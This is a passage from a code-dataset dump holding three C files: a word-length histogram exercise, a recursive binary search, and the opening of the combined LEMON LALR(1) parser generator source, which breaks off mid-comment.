file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
|---|---|
the_stack_data/548007.c
|
#include <stdio.h>
/* prints histogram of words in input, horizontally and vertically */
main() {
int c, ccount, i, j, greatest;
int lengths[10]; /* 0th index is for words with 10+ characters */
ccount = 0;
for (i = 0; i < 10; ++i)
lengths[i] = 0;
while ((c = getchar()) != EOF) {
if (c == ' ' || c == '\n' || c == '\t') {
if (ccount >= 10)
++lengths[0];
else if (ccount > 0)
++lengths[ccount];
ccount = 0;
} else {
++ccount;
}
}
/* print horizontally */
/* first for 1 - 9 */
for (i = 1; i < 10; ++i) {
printf("%d | ", i);
for (j = 0; j < lengths[i]; ++j)
printf("-");
printf("\n");
}
/* for 10+ */
printf("10+ | ");
for (j = 0; j < lengths[0]; ++j)
printf("-");
printf("\n\n------------------------------------------------------------\n\n");
/* print vertically */
/* determine the height of the graph by finding the greatest count */
greatest = 0;
for (i = 0; i < 10; ++i)
if (lengths[i] > greatest)
greatest = lengths[i];
for (i = greatest; i > 0; --i) { /* for each row, starting at the top */
for (j = 1; j < 10; ++j) { /* for each column besides 10+ */
if (lengths[j] >= i)
printf("| ");
else
printf(" ");
}
if (lengths[0] >= i)
printf(" | ");
else
printf(" ");
printf("\n");
}
/* print the bottom of the graph */
printf("---------------------\n");
for (i = 1; i < 10; ++i)
printf("%d ", i);
printf("10+\n");
}
|
the_stack_data/93888958.c
|
#include <stdio.h>
int count = 0, pos = -1;
void Bin_Search (int A[], int m, int n, int k) {
int mid;
count++;
if (m > n)
return;
mid = (m + n) / 2;
if (A[mid] == k) {
pos = mid;
if (A[mid - 1] == A[mid])
Bin_Search (A, m, mid - 1, k);
}
else if (k < A[mid])
Bin_Search (A, m, mid - 1, k);
else if (k > A[mid])
Bin_Search (A, mid + 1, n, k);
}
void main () {
int A[100000], n, k;
scanf ("%d", &n);
for (int i = 0; i < n; i++)
scanf ("%d", A + i);
scanf ("%d", &k);
Bin_Search (A, 0, n - 1, k);
printf ("%d\n%d", pos, count);
}
|
the_stack_data/708255.c
|
/*
** This file contains all sources (including headers) to the LEMON
** LALR(1) parser generator. The sources have been combined into a
** single file to make it easy to include LEMON in the source tree
** and Makefile of another program.
**
** The author of this program disclaims copyright.
*/
#include <stdio.h>
#include <stdarg.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
#ifndef __WIN32__
# if defined(_WIN32) || defined(WIN32)
# define __WIN32__
# endif
#endif
/* #define PRIVATE static */
#define PRIVATE
#ifdef TEST
#define MAXRHS 5 /* Set low to exercise exception code */
#else
#define MAXRHS 1000
#endif
char *msort();
extern void *malloc();
/******** From the file "action.h" *************************************/
struct action *Action_new();
struct action *Action_sort();
/********* From the file "assert.h" ************************************/
void myassert();
#ifndef NDEBUG
# define assert(X) if(!(X))myassert(__FILE__,__LINE__)
#else
# define assert(X)
#endif
/********** From the file "build.h" ************************************/
void FindRulePrecedences();
void FindFirstSets();
void FindStates();
void FindLinks();
void FindFollowSets();
void FindActions();
/********* From the file "configlist.h" *********************************/
void Configlist_init(/* void */);
struct config *Configlist_add(/* struct rule *, int */);
struct config *Configlist_addbasis(/* struct rule *, int */);
void Configlist_closure(/* void */);
void Configlist_sort(/* void */);
void Configlist_sortbasis(/* void */);
struct config *Configlist_return(/* void */);
struct config *Configlist_basis(/* void */);
void Configlist_eat(/* struct config * */);
void Configlist_reset(/* void */);
/********* From the file "error.h" ***************************************/
void ErrorMsg(const char *, int,const char *, ...);
/****** From the file "option.h" ******************************************/
struct s_options {
enum { OPT_FLAG=1, OPT_INT, OPT_DBL, OPT_STR,
OPT_FFLAG, OPT_FINT, OPT_FDBL, OPT_FSTR} type;
char *label;
char *arg;
char *message;
};
int OptInit(/* char**,struct s_options*,FILE* */);
int OptNArgs(/* void */);
char *OptArg(/* int */);
void OptErr(/* int */);
void OptPrint(/* void */);
/******** From the file "parse.h" *****************************************/
void Parse(/* struct lemon *lemp */);
/********* From the file "plink.h" ***************************************/
struct plink *Plink_new(/* void */);
void Plink_add(/* struct plink **, struct config * */);
void Plink_copy(/* struct plink **, struct plink * */);
void Plink_delete(/* struct plink * */);
/********** From the file "report.h" *************************************/
void Reprint(/* struct lemon * */);
void ReportOutput(/* struct lemon * */);
void ReportTable(/* struct lemon * */);
void ReportHeader(/* struct lemon * */);
void CompressTables(/* struct lemon * */);
/********** From the file "set.h" ****************************************/
void SetSize(/* int N */); /* All sets will be of size N */
char *SetNew(/* void */); /* A new set for element 0..N */
void SetFree(/* char* */); /* Deallocate a set */
int SetAdd(/* char*,int */); /* Add element to a set */
int SetUnion(/* char *A,char *B */); /* A <- A U B, thru element N */
#define SetFind(X,Y) (X[Y]) /* True if Y is in set X */
/********** From the file "struct.h" *************************************/
/*
** Principal data structures for the LEMON parser generator.
*/
typedef enum {B_FALSE=0, B_TRUE} Boolean;
/* Symbols (terminals and nonterminals) of the grammar are stored
** in the following: */
struct symbol {
char *name; /* Name of the symbol */
int index; /* Index number for this symbol */
enum {
TERMINAL,
NONTERMINAL
} type; /* Symbols are all either TERMINALS or NTs */
struct rule *rule; /* Linked list of rules of this (if an NT) */
struct symbol *fallback; /* fallback token in case this token doesn't parse */
int prec; /* Precedence if defined (-1 otherwise) */
enum e_assoc {
LEFT,
RIGHT,
NONE,
UNK
} assoc; /* Associativity if predecence is defined */
char *firstset; /* First-set for all rules of this symbol */
Boolean lambda; /* True if NT and can generate an empty string */
char *destructor; /* Code which executes whenever this symbol is
** popped from the stack during error processing */
int destructorln; /* Line number of destructor code */
char *datatype; /* The data type of information held by this
** object. Only used if type==NONTERMINAL */
int dtnum; /* The data type number. In the parser, the value
** stack is a union. The .yy%d element of this
** union is the correct data type for this object */
};
/* Each production rule in the grammar is stored in the following
** structure. */
struct rule {
struct symbol *lhs; /* Left-hand side of the rule */
char *lhsalias; /* Alias for the LHS (NULL if none) */
int ruleline; /* Line number for the rule */
int nrhs; /* Number of RHS symbols */
struct symbol **rhs; /* The RHS symbols */
char **rhsalias; /* An alias for each RHS symbol (NULL if none) */
int line; /* Line number at which code begins */
char *code; /* The code executed when this rule is reduced */
struct symbol *precsym; /* Precedence symbol for this rule */
int index; /* An index number for this rule */
Boolean canReduce; /* True if this rule is ever reduced */
struct rule *nextlhs; /* Next rule with the same LHS */
struct rule *next; /* Next rule in the global list */
};
/* A configuration is a production rule of the grammar together with
** a mark (dot) showing how much of that rule has been processed so far.
** Configurations also contain a follow-set which is a list of terminal
** symbols which are allowed to immediately follow the end of the rule.
** Every configuration is recorded as an instance of the following: */
struct config {
struct rule *rp; /* The rule upon which the configuration is based */
int dot; /* The parse point */
char *fws; /* Follow-set for this configuration only */
struct plink *fplp; /* Follow-set forward propagation links */
struct plink *bplp; /* Follow-set backwards propagation links */
struct state *stp; /* Pointer to state which contains this */
enum {
COMPLETE, /* The status is used during followset and */
INCOMPLETE /* shift computations */
} status;
struct config *next; /* Next configuration in the state */
struct config *bp; /* The next basis configuration */
};
/* Every shift or reduce operation is stored as one of the following */
struct action {
struct symbol *sp; /* The look-ahead symbol */
enum e_action {
SHIFT,
ACCEPT,
REDUCE,
ERROR,
CONFLICT, /* Was a reduce, but part of a conflict */
SH_RESOLVED, /* Was a shift. Precedence resolved conflict */
RD_RESOLVED, /* Was reduce. Precedence resolved conflict */
NOT_USED /* Deleted by compression */
} type;
union {
struct state *stp; /* The new state, if a shift */
struct rule *rp; /* The rule, if a reduce */
} x;
struct action *next; /* Next action for this state */
struct action *collide; /* Next action with the same hash */
};
/* Each state of the generated parser's finite state machine
** is encoded as an instance of the following structure. */
struct state {
struct config *bp; /* The basis configurations for this state */
struct config *cfp; /* All configurations in this set */
int index; /* Sequencial number for this state */
struct action *ap; /* Array of actions for this state */
int nTknAct, nNtAct; /* Number of actions on terminals and nonterminals */
int iTknOfst, iNtOfst; /* yy_action[] offset for terminals and nonterms */
int iDflt; /* Default action */
};
#define NO_OFFSET (-2147483647)
/* A followset propagation link indicates that the contents of one
** configuration followset should be propagated to another whenever
** the first changes. */
struct plink {
struct config *cfp; /* The configuration to which linked */
struct plink *next; /* The next propagate link */
};
/* The state vector for the entire parser generator is recorded as
** follows. (LEMON uses no global variables and makes little use of
** static variables. Fields in the following structure can be thought
** of as begin global variables in the program.) */
struct lemon {
struct state **sorted; /* Table of states sorted by state number */
struct rule *rule; /* List of all rules */
int nstate; /* Number of states */
int nrule; /* Number of rules */
int nsymbol; /* Number of terminal and nonterminal symbols */
int nterminal; /* Number of terminal symbols */
struct symbol **symbols; /* Sorted array of pointers to symbols */
int errorcnt; /* Number of errors */
struct symbol *errsym; /* The error symbol */
char *name; /* Name of the generated parser */
char *arg; /* Declaration of the 3th argument to parser */
char *tokentype; /* Type of terminal symbols in the parser stack */
char *vartype; /* The default type of non-terminal symbols */
char *start; /* Name of the start symbol for the grammar */
char *stacksize; /* Size of the parser stack */
char *include; /* Code to put at the start of the C file */
int includeln; /* Line number for start of include code */
char *error; /* Code to execute when an error is seen */
int errorln; /* Line number for start of error code */
char *overflow; /* Code to execute on a stack overflow */
int overflowln; /* Line number for start of overflow code */
char *failure; /* Code to execute on parser failure */
int failureln; /* Line number for start of failure code */
char *accept; /* Code to execute when the parser excepts */
int acceptln; /* Line number for the start of accept code */
char *extracode; /* Code appended to the generated file */
int extracodeln; /* Line number for the start of the extra code */
char *tokendest; /* Code to execute to destroy token data */
int tokendestln; /* Line number for token destroyer code */
char *vardest; /* Code for the default non-terminal destructor */
int vardestln; /* Line number for default non-term destructor code*/
char *filename; /* Name of the input file */
char *outname; /* Name of the current output file */
char *tokenprefix; /* A prefix added to token names in the .h file */
int nconflict; /* Number of parsing conflicts */
int tablesize; /* Size of the parse tables */
int basisflag; /* Print only basis configurations */
int has_fallback; /* True if any %fallback is seen in the grammer */
char *argv0; /* Name of the program */
};
#define MemoryCheck(X) if((X)==0){ \
extern void memory_error(); \
memory_error(); \
}
/**************** From the file "table.h" *********************************/
/*
** All code in this file has been automatically generated
** from a specification in the file
** "table.q"
** by the associative array code building program "aagen".
** Do not edit this file! Instead, edit the specification
** file, then rerun aagen.
*/
/*
** Code for processing tables in the LEMON parser generator.
*/
/* Routines for handling a strings */
char *Strsafe();
void Strsafe_init(/* void */);
int Strsafe_insert(/* char * */);
char *Strsafe_find(/* char * */);
/* Routines for handling symbols of the grammar */
struct symbol *Symbol_new();
int Symbolcmpp(/* struct symbol **, struct symbol ** */);
void Symbol_init(/* void */);
int Symbol_insert(/* struct symbol *, char * */);
struct symbol *Symbol_find(/* char * */);
struct symbol *Symbol_Nth(/* int */);
int Symbol_count(/* */);
struct symbol **Symbol_arrayof(/* */);
/* Routines to manage the state table */
int Configcmp(/* struct config *, struct config * */);
struct state *State_new();
void State_init(/* void */);
int State_insert(/* struct state *, struct config * */);
struct state *State_find(/* struct config * */);
struct state **State_arrayof(/* */);
/* Routines used for efficiency in Configlist_add */
void Configtable_init(/* void */);
int Configtable_insert(/* struct config * */);
struct config *Configtable_find(/* struct config * */);
void Configtable_clear(/* int(*)(struct config *) */);
/****************** From the file "action.c" *******************************/
/*
** Routines processing parser actions in the LEMON parser generator.
*/
/* Allocate a new parser action */
struct action *Action_new(){
static struct action *freelist = 0;
struct action *new;
if( freelist==0 ){
int i;
int amt = 100;
freelist = (struct action *)malloc( sizeof(struct action)*amt );
if( freelist==0 ){
fprintf(stderr,"Unable to allocate memory for a new parser action.");
exit(1);
}
for(i=0; i<amt-1; i++) freelist[i].next = &freelist[i+1];
freelist[amt-1].next = 0;
}
new = freelist;
freelist = freelist->next;
return new;
}
/* Compare two actions */
static int actioncmp(ap1,ap2)
struct action *ap1;
struct action *ap2;
{
int rc;
rc = ap1->sp->index - ap2->sp->index;
if( rc==0 ) rc = (int)ap1->type - (int)ap2->type;
if( rc==0 ){
assert( ap1->type==REDUCE || ap1->type==RD_RESOLVED || ap1->type==CONFLICT);
assert( ap2->type==REDUCE || ap2->type==RD_RESOLVED || ap2->type==CONFLICT);
rc = ap1->x.rp->index - ap2->x.rp->index;
}
return rc;
}
/* Sort parser actions */
struct action *Action_sort(ap)
struct action *ap;
{
ap = (struct action *)msort((char *)ap,(char **)&ap->next,actioncmp);
return ap;
}
void Action_add(app,type,sp,arg)
struct action **app;
enum e_action type;
struct symbol *sp;
char *arg;
{
struct action *new;
new = Action_new();
new->next = *app;
*app = new;
new->type = type;
new->sp = sp;
if( type==SHIFT ){
new->x.stp = (struct state *)arg;
}else{
new->x.rp = (struct rule *)arg;
}
}
/********************** New code to implement the "acttab" module ***********/
/*
** This module implements routines use to construct the yy_action[] table.
*/
/*
** The state of the yy_action table under construction is an instance of
** the following structure
*/
typedef struct acttab acttab;
struct acttab {
int nAction; /* Number of used slots in aAction[] */
int nActionAlloc; /* Slots allocated for aAction[] */
struct {
int lookahead; /* Value of the lookahead token */
int action; /* Action to take on the given lookahead */
} *aAction, /* The yy_action[] table under construction */
*aLookahead; /* A single new transaction set */
int mnLookahead; /* Minimum aLookahead[].lookahead */
int mnAction; /* Action associated with mnLookahead */
int mxLookahead; /* Maximum aLookahead[].lookahead */
int nLookahead; /* Used slots in aLookahead[] */
int nLookaheadAlloc; /* Slots allocated in aLookahead[] */
};
/* Return the number of entries in the yy_action table */
#define acttab_size(X) ((X)->nAction)
/* The value for the N-th entry in yy_action */
#define acttab_yyaction(X,N) ((X)->aAction[N].action)
/* The value for the N-th entry in yy_lookahead */
#define acttab_yylookahead(X,N) ((X)->aAction[N].lookahead)
/* Free all memory associated with the given acttab */
void acttab_free(acttab *p){
free( p->aAction );
free( p->aLookahead );
free( p );
}
/* Allocate a new acttab structure */
acttab *acttab_alloc(void){
acttab *p = malloc( sizeof(*p) );
if( p==0 ){
fprintf(stderr,"Unable to allocate memory for a new acttab.");
exit(1);
}
memset(p, 0, sizeof(*p));
return p;
}
/* Add a new action to the current transaction set
*/
void acttab_action(acttab *p, int lookahead, int action){
if( p->nLookahead>=p->nLookaheadAlloc ){
p->nLookaheadAlloc += 25;
p->aLookahead = realloc( p->aLookahead,
sizeof(p->aLookahead[0])*p->nLookaheadAlloc );
if( p->aLookahead==0 ){
fprintf(stderr,"malloc failed\n");
exit(1);
}
}
if( p->nLookahead==0 ){
p->mxLookahead = lookahead;
p->mnLookahead = lookahead;
p->mnAction = action;
}else{
if( p->mxLookahead<lookahead ) p->mxLookahead = lookahead;
if( p->mnLookahead>lookahead ){
p->mnLookahead = lookahead;
p->mnAction = action;
}
}
p->aLookahead[p->nLookahead].lookahead = lookahead;
p->aLookahead[p->nLookahead].action = action;
p->nLookahead++;
}
/*
** Add the transaction set built up with prior calls to acttab_action()
** into the current action table. Then reset the transaction set back
** to an empty set in preparation for a new round of acttab_action() calls.
**
** Return the offset into the action table of the new transaction.
*/
int acttab_insert(acttab *p){
int i, j, k, n;
assert( p->nLookahead>0 );
/* Make sure we have enough space to hold the expanded action table
** in the worst case. The worst case occurs if the transaction set
** must be appended to the current action table
*/
n = p->mxLookahead + 1;
if( p->nAction + n >= p->nActionAlloc ){
int oldAlloc = p->nActionAlloc;
p->nActionAlloc = p->nAction + n + p->nActionAlloc + 20;
p->aAction = realloc( p->aAction,
sizeof(p->aAction[0])*p->nActionAlloc);
if( p->aAction==0 ){
fprintf(stderr,"malloc failed\n");
exit(1);
}
for(i=oldAlloc; i<p->nActionAlloc; i++){
p->aAction[i].lookahead = -1;
p->aAction[i].action = -1;
}
}
/* Scan the existing action table looking for an offset where we can
** insert the current transaction set. Fall out of the loop when that
** offset is found. In the worst case, we fall out of the loop when
** i reaches p->nAction, which means we append the new transaction set.
**
** i is the index in p->aAction[] where p->mnLookahead is inserted.
*/
for(i=0; i<p->nAction+p->mnLookahead; i++){
if( p->aAction[i].lookahead<0 ){
for(j=0; j<p->nLookahead; j++){
k = p->aLookahead[j].lookahead - p->mnLookahead + i;
if( k<0 ) break;
if( p->aAction[k].lookahead>=0 ) break;
}
if( j<p->nLookahead ) continue;
for(j=0; j<p->nAction; j++){
if( p->aAction[j].lookahead==j+p->mnLookahead-i ) break;
}
if( j==p->nAction ){
break; /* Fits in empty slots */
}
}else if( p->aAction[i].lookahead==p->mnLookahead ){
if( p->aAction[i].action!=p->mnAction ) continue;
for(j=0; j<p->nLookahead; j++){
k = p->aLookahead[j].lookahead - p->mnLookahead + i;
if( k<0 || k>=p->nAction ) break;
if( p->aLookahead[j].lookahead!=p->aAction[k].lookahead ) break;
if( p->aLookahead[j].action!=p->aAction[k].action ) break;
}
if( j<p->nLookahead ) continue;
n = 0;
for(j=0; j<p->nAction; j++){
if( p->aAction[j].lookahead<0 ) continue;
if( p->aAction[j].lookahead==j+p->mnLookahead-i ) n++;
}
if( n==p->nLookahead ){
break; /* Same as a prior transaction set */
}
}
}
/* Insert transaction set at index i. */
for(j=0; j<p->nLookahead; j++){
k = p->aLookahead[j].lookahead - p->mnLookahead + i;
p->aAction[k] = p->aLookahead[j];
if( k>=p->nAction ) p->nAction = k+1;
}
p->nLookahead = 0;
/* Return the offset that is added to the lookahead in order to get the
** index into yy_action of the action */
return i - p->mnLookahead;
}
/********************** From the file "assert.c" ****************************/
/*
** A more efficient way of handling assertions.
*/
void myassert(file,line)
char *file;
int line;
{
fprintf(stderr,"Assertion failed on line %d of file \"%s\"\n",line,file);
exit(1);
}
/********************** From the file "build.c" *****************************/
/*
** Routines to construction the finite state machine for the LEMON
** parser generator.
*/
/* Find a precedence symbol of every rule in the grammar.
**
** Those rules which have a precedence symbol coded in the input
** grammar using the "[symbol]" construct will already have the
** rp->precsym field filled. Other rules take as their precedence
** symbol the first RHS symbol with a defined precedence. If there
** are not RHS symbols with a defined precedence, the precedence
** symbol field is left blank.
*/
void FindRulePrecedences(xp)
struct lemon *xp;
{
struct rule *rp;
for(rp=xp->rule; rp; rp=rp->next){
if( rp->precsym==0 ){
int i;
for(i=0; i<rp->nrhs; i++){
if( rp->rhs[i]->prec>=0 ){
rp->precsym = rp->rhs[i];
break;
}
}
}
}
return;
}
/* Find all nonterminals which will generate the empty string.
** Then go back and compute the first sets of every nonterminal.
** The first set is the set of all terminal symbols which can begin
** a string generated by that nonterminal.
*/
void FindFirstSets(lemp)
struct lemon *lemp;
{
int i;
struct rule *rp;
int progress;
for(i=0; i<lemp->nsymbol; i++){
lemp->symbols[i]->lambda = B_FALSE;
}
for(i=lemp->nterminal; i<lemp->nsymbol; i++){
lemp->symbols[i]->firstset = SetNew();
}
/* First compute all lambdas */
do{
progress = 0;
for(rp=lemp->rule; rp; rp=rp->next){
if( rp->lhs->lambda ) continue;
for(i=0; i<rp->nrhs; i++){
if( rp->rhs[i]->lambda==B_FALSE ) break;
}
if( i==rp->nrhs ){
rp->lhs->lambda = B_TRUE;
progress = 1;
}
}
}while( progress );
/* Now compute all first sets */
do{
struct symbol *s1, *s2;
progress = 0;
for(rp=lemp->rule; rp; rp=rp->next){
s1 = rp->lhs;
for(i=0; i<rp->nrhs; i++){
s2 = rp->rhs[i];
if( s2->type==TERMINAL ){
progress += SetAdd(s1->firstset,s2->index);
break;
}else if( s1==s2 ){
if( s1->lambda==B_FALSE ) break;
}else{
progress += SetUnion(s1->firstset,s2->firstset);
if( s2->lambda==B_FALSE ) break;
}
}
}
}while( progress );
return;
}
/* Compute all LR(0) states for the grammar. Links
** are added to between some states so that the LR(1) follow sets
** can be computed later.
*/
PRIVATE struct state *getstate(/* struct lemon * */); /* forward reference */
void FindStates(lemp)
struct lemon *lemp;
{
struct symbol *sp;
struct rule *rp;
Configlist_init();
/* Find the start symbol */
if( lemp->start ){
sp = Symbol_find(lemp->start);
if( sp==0 ){
ErrorMsg(lemp->filename,0,
"The specified start symbol \"%s\" is not \
in a nonterminal of the grammar. \"%s\" will be used as the start \
symbol instead.",lemp->start,lemp->rule->lhs->name);
lemp->errorcnt++;
sp = lemp->rule->lhs;
}
}else{
sp = lemp->rule->lhs;
}
/* Make sure the start symbol doesn't occur on the right-hand side of
** any rule. Report an error if it does. (YACC would generate a new
** start symbol in this case.) */
for(rp=lemp->rule; rp; rp=rp->next){
int i;
for(i=0; i<rp->nrhs; i++){
if( rp->rhs[i]==sp ){
ErrorMsg(lemp->filename,0,
"The start symbol \"%s\" occurs on the \
right-hand side of a rule. This will result in a parser which \
does not work properly.",sp->name);
lemp->errorcnt++;
}
}
}
/* The basis configuration set for the first state
** is all rules which have the start symbol as their
** left-hand side */
for(rp=sp->rule; rp; rp=rp->nextlhs){
struct config *newcfp;
newcfp = Configlist_addbasis(rp,0);
SetAdd(newcfp->fws,0);
}
/* Compute the first state. All other states will be
** computed automatically during the computation of the first one.
** The returned pointer to the first state is not used. */
(void)getstate(lemp);
return;
}
/* Return a pointer to a state which is described by the configuration
** list which has been built from calls to Configlist_add.
*/
PRIVATE void buildshifts(/* struct lemon *, struct state * */); /* Forwd ref */
PRIVATE struct state *getstate(lemp)
struct lemon *lemp;
{
struct config *cfp, *bp;
struct state *stp;
/* Extract the sorted basis of the new state. The basis was constructed
** by prior calls to "Configlist_addbasis()". */
Configlist_sortbasis();
bp = Configlist_basis();
/* Get a state with the same basis */
stp = State_find(bp);
if( stp ){
/* A state with the same basis already exists! Copy all the follow-set
** propagation links from the state under construction into the
** preexisting state, then return a pointer to the preexisting state */
struct config *x, *y;
for(x=bp, y=stp->bp; x && y; x=x->bp, y=y->bp){
Plink_copy(&y->bplp,x->bplp);
Plink_delete(x->fplp);
x->fplp = x->bplp = 0;
}
cfp = Configlist_return();
Configlist_eat(cfp);
}else{
/* This really is a new state. Construct all the details */
Configlist_closure(lemp); /* Compute the configuration closure */
Configlist_sort(); /* Sort the configuration closure */
cfp = Configlist_return(); /* Get a pointer to the config list */
stp = State_new(); /* A new state structure */
MemoryCheck(stp);
stp->bp = bp; /* Remember the configuration basis */
stp->cfp = cfp; /* Remember the configuration closure */
stp->index = lemp->nstate++; /* Every state gets a sequence number */
stp->ap = 0; /* No actions, yet. */
State_insert(stp,stp->bp); /* Add to the state table */
buildshifts(lemp,stp); /* Recursively compute successor states */
}
return stp;
}
/* Construct all successor states to the given state. A "successor"
** state is any state which can be reached by a shift action.
*/
PRIVATE void buildshifts(lemp,stp)
struct lemon *lemp;
struct state *stp; /* The state from which successors are computed */
{
struct config *cfp; /* For looping thru the config closure of "stp" */
struct config *bcfp; /* For the inner loop on config closure of "stp" */
struct config *new; /* */
struct symbol *sp; /* Symbol following the dot in configuration "cfp" */
struct symbol *bsp; /* Symbol following the dot in configuration "bcfp" */
struct state *newstp; /* A pointer to a successor state */
/* Each configuration becomes complete after it contibutes to a successor
** state. Initially, all configurations are incomplete */
for(cfp=stp->cfp; cfp; cfp=cfp->next) cfp->status = INCOMPLETE;
/* Loop through all configurations of the state "stp" */
for(cfp=stp->cfp; cfp; cfp=cfp->next){
if( cfp->status==COMPLETE ) continue; /* Already used by inner loop */
if( cfp->dot>=cfp->rp->nrhs ) continue; /* Can't shift this config */
Configlist_reset(); /* Reset the new config set */
sp = cfp->rp->rhs[cfp->dot]; /* Symbol after the dot */
/* For every configuration in the state "stp" which has the symbol "sp"
** following its dot, add the same configuration to the basis set under
** construction but with the dot shifted one symbol to the right. */
for(bcfp=cfp; bcfp; bcfp=bcfp->next){
if( bcfp->status==COMPLETE ) continue; /* Already used */
if( bcfp->dot>=bcfp->rp->nrhs ) continue; /* Can't shift this one */
bsp = bcfp->rp->rhs[bcfp->dot]; /* Get symbol after dot */
if( bsp!=sp ) continue; /* Must be same as for "cfp" */
bcfp->status = COMPLETE; /* Mark this config as used */
new = Configlist_addbasis(bcfp->rp,bcfp->dot+1);
Plink_add(&new->bplp,bcfp);
}
/* Get a pointer to the state described by the basis configuration set
** constructed in the preceding loop */
newstp = getstate(lemp);
/* The state "newstp" is reached from the state "stp" by a shift action
** on the symbol "sp" */
Action_add(&stp->ap,SHIFT,sp,(char *)newstp);
}
}
/*
** Construct the propagation links
*/
void FindLinks(lemp)
struct lemon *lemp;
{
int i;
struct config *cfp, *other;
struct state *stp;
struct plink *plp;
/* Housekeeping detail:
** Add to every propagate link a pointer back to the state to
** which the link is attached. */
for(i=0; i<lemp->nstate; i++){
stp = lemp->sorted[i];
for(cfp=stp->cfp; cfp; cfp=cfp->next){
cfp->stp = stp;
}
}
/* Convert all backlinks into forward links. Only the forward
** links are used in the follow-set computation. */
for(i=0; i<lemp->nstate; i++){
stp = lemp->sorted[i];
for(cfp=stp->cfp; cfp; cfp=cfp->next){
for(plp=cfp->bplp; plp; plp=plp->next){
other = plp->cfp;
Plink_add(&other->fplp,cfp);
}
}
}
}
/* Compute all followsets.
**
** A followset is the set of all symbols which can come immediately
** after a configuration.
*/
void FindFollowSets(lemp)
struct lemon *lemp;
{
int i;
struct config *cfp;
struct plink *plp;
int progress;
int change;
for(i=0; i<lemp->nstate; i++){
for(cfp=lemp->sorted[i]->cfp; cfp; cfp=cfp->next){
cfp->status = INCOMPLETE;
}
}
do{
progress = 0;
for(i=0; i<lemp->nstate; i++){
for(cfp=lemp->sorted[i]->cfp; cfp; cfp=cfp->next){
if( cfp->status==COMPLETE ) continue;
for(plp=cfp->fplp; plp; plp=plp->next){
change = SetUnion(plp->cfp->fws,cfp->fws);
if( change ){
plp->cfp->status = INCOMPLETE;
progress = 1;
}
}
cfp->status = COMPLETE;
}
}
}while( progress );
}
static int resolve_conflict();
/* Compute the reduce actions, and resolve conflicts.
*/
void FindActions(lemp)
struct lemon *lemp;
{
int i,j;
struct config *cfp;
struct state *stp;
struct symbol *sp;
struct rule *rp;
/* Add all of the reduce actions
** A reduce action is added for each element of the followset of
** a configuration which has its dot at the extreme right.
*/
for(i=0; i<lemp->nstate; i++){ /* Loop over all states */
stp = lemp->sorted[i];
for(cfp=stp->cfp; cfp; cfp=cfp->next){ /* Loop over all configurations */
if( cfp->rp->nrhs==cfp->dot ){ /* Is dot at extreme right? */
for(j=0; j<lemp->nterminal; j++){
if( SetFind(cfp->fws,j) ){
/* Add a reduce action to the state "stp" which will reduce by the
** rule "cfp->rp" if the lookahead symbol is "lemp->symbols[j]" */
Action_add(&stp->ap,REDUCE,lemp->symbols[j],(char *)cfp->rp);
}
}
}
}
}
/* Add the accepting token */
if( lemp->start ){
sp = Symbol_find(lemp->start);
if( sp==0 ) sp = lemp->rule->lhs;
}else{
sp = lemp->rule->lhs;
}
/* Add to the first state (which is always the starting state of the
** finite state machine) an action to ACCEPT if the lookahead is the
** start nonterminal. */
Action_add(&lemp->sorted[0]->ap,ACCEPT,sp,0);
/* Resolve conflicts */
for(i=0; i<lemp->nstate; i++){
struct action *ap, *nap;
struct state *stp;
stp = lemp->sorted[i];
assert( stp->ap );
stp->ap = Action_sort(stp->ap);
for(ap=stp->ap; ap && ap->next; ap=ap->next){
for(nap=ap->next; nap && nap->sp==ap->sp; nap=nap->next){
/* The two actions "ap" and "nap" have the same lookahead.
** Figure out which one should be used */
lemp->nconflict += resolve_conflict(ap,nap,lemp->errsym);
}
}
}
/* Report an error for each rule that can never be reduced. */
for(rp=lemp->rule; rp; rp=rp->next) rp->canReduce = B_FALSE;
for(i=0; i<lemp->nstate; i++){
struct action *ap;
for(ap=lemp->sorted[i]->ap; ap; ap=ap->next){
if( ap->type==REDUCE ) ap->x.rp->canReduce = B_TRUE;
}
}
for(rp=lemp->rule; rp; rp=rp->next){
if( rp->canReduce ) continue;
ErrorMsg(lemp->filename,rp->ruleline,"This rule can not be reduced.\n");
lemp->errorcnt++;
}
}
/* Resolve a conflict between the two given actions. If the
** conflict can't be resolve, return non-zero.
**
** NO LONGER TRUE:
** To resolve a conflict, first look to see if either action
** is on an error rule. In that case, take the action which
** is not associated with the error rule. If neither or both
** actions are associated with an error rule, then try to
** use precedence to resolve the conflict.
**
** If either action is a SHIFT, then it must be apx. This
** function won't work if apx->type==REDUCE and apy->type==SHIFT.
*/
static int resolve_conflict(apx,apy,errsym)
struct action *apx;
struct action *apy;
struct symbol *errsym; /* The error symbol (if defined. NULL otherwise) */
{
struct symbol *spx, *spy;
int errcnt = 0;
assert( apx->sp==apy->sp ); /* Otherwise there would be no conflict */
if( apx->type==SHIFT && apy->type==REDUCE ){
spx = apx->sp;
spy = apy->x.rp->precsym;
if( spy==0 || spx->prec<0 || spy->prec<0 ){
/* Not enough precedence information. */
fprintf(stderr, "Not enough precedence: %s\n", errsym->name);
apy->type = CONFLICT;
errcnt++;
}else if( spx->prec>spy->prec ){ /* Lower precedence wins */
apy->type = RD_RESOLVED;
}else if( spx->prec<spy->prec ){
apx->type = SH_RESOLVED;
}else if( spx->prec==spy->prec && spx->assoc==RIGHT ){ /* Use operator */
apy->type = RD_RESOLVED; /* associativity */
}else if( spx->prec==spy->prec && spx->assoc==LEFT ){ /* to break tie */
apx->type = SH_RESOLVED;
}else{
assert( spx->prec==spy->prec && spx->assoc==NONE );
fprintf(stderr, "Not enough precedence: %s\n", errsym->name);
apy->type = CONFLICT;
errcnt++;
}
}else if( apx->type==REDUCE && apy->type==REDUCE ){
spx = apx->x.rp->precsym;
spy = apy->x.rp->precsym;
if( spx==0 || spy==0 || spx->prec<0 || spy->prec<0 || spx->prec==spy->prec ){
fprintf(stderr, "Not enough precedence: %s\n", errsym->name);
apy->type = CONFLICT;
errcnt++;
}else if( spx->prec>spy->prec ){
apy->type = RD_RESOLVED;
}else if( spx->prec<spy->prec ){
apx->type = RD_RESOLVED;
}
}else{
assert(
apx->type==SH_RESOLVED ||
apx->type==RD_RESOLVED ||
apx->type==CONFLICT ||
apy->type==SH_RESOLVED ||
apy->type==RD_RESOLVED ||
apy->type==CONFLICT
);
/* The REDUCE/SHIFT case cannot happen because SHIFTs come before
** REDUCEs on the list. If we reach this point it must be because
** the parser conflict had already been resolved. */
}
return errcnt;
}
/********************* From the file "configlist.c" *************************/
/*
** Routines to processing a configuration list and building a state
